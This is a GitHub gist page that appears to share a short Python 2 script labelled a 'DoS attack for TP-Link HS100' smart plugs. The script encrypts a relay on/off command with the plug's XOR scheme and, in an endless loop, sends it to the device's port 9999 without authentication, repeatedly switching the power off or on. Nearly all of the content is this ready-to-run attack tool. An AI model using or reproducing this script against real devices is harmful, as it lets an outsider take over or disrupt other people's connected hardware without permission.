Skip to content

Instantly share code, notes, and snippets.

@EliseZeroTwo
Last active January 25, 2019 17:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save EliseZeroTwo/cb72c374c58136ff9d7a0f1a07087a52 to your computer and use it in GitHub Desktop.
Save EliseZeroTwo/cb72c374c58136ff9d7a0f1a07087a52 to your computer and use it in GitHub Desktop.
DoS attack for TP-Link HS100
#config
devicecfg = {"ip": "192.168.1.101", "port": 9999}
import socket
from struct import pack
state = False #true for turning on, false for turning off
on = "{\"system\":{\"set_relay_state\":{\"state\":1}}}"
off = "{\"system\":{\"set_relay_state\":{\"state\":0}}}"
running = True
while running:
key = 171
cmd = 0
if state:
cmd = on
else:
cmd = off
payload = pack(">I", len(cmd))
try:
for x in cmd:
encb = key ^ ord(x)
key = encb
payload += chr(encb)
device = socket.socket()
device.connect((devicecfg["ip"], devicecfg["port"]))
device.send(payload)
device.close()
except:
print "oops"
running = False
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment